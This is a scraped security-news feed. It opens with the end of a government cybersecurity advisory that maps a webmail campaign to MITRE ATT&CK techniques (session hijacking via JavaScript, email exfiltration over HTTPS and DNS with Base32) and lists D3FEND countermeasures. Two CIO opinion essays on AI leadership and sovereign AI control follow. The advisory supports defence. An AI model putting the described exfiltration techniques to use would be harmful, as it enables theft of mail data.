<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Mythos Race: Trump’s New EO and Glasswing’s Expansion]]></title>
<description><![CDATA[A roundup of headline AI developments from this past week is warranted, as fast-moving decisions from the White House to Anthropic demand immediate attention. Plus, a look at what may be the AI metric that matters most.]]></description>
<link>https://tsecurity.de/de/3694405/it-security-nachrichten/the-mythos-race-trumps-new-eo-and-glasswings-expansion/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694405/it-security-nachrichten/the-mythos-race-trumps-new-eo-and-glasswings-expansion/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A roundup of headline AI developments from this past week is warranted, as fast-moving decisions from the White House to Anthropic demand immediate attention. Plus, a look at what may be the AI metric that matters most.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
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<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



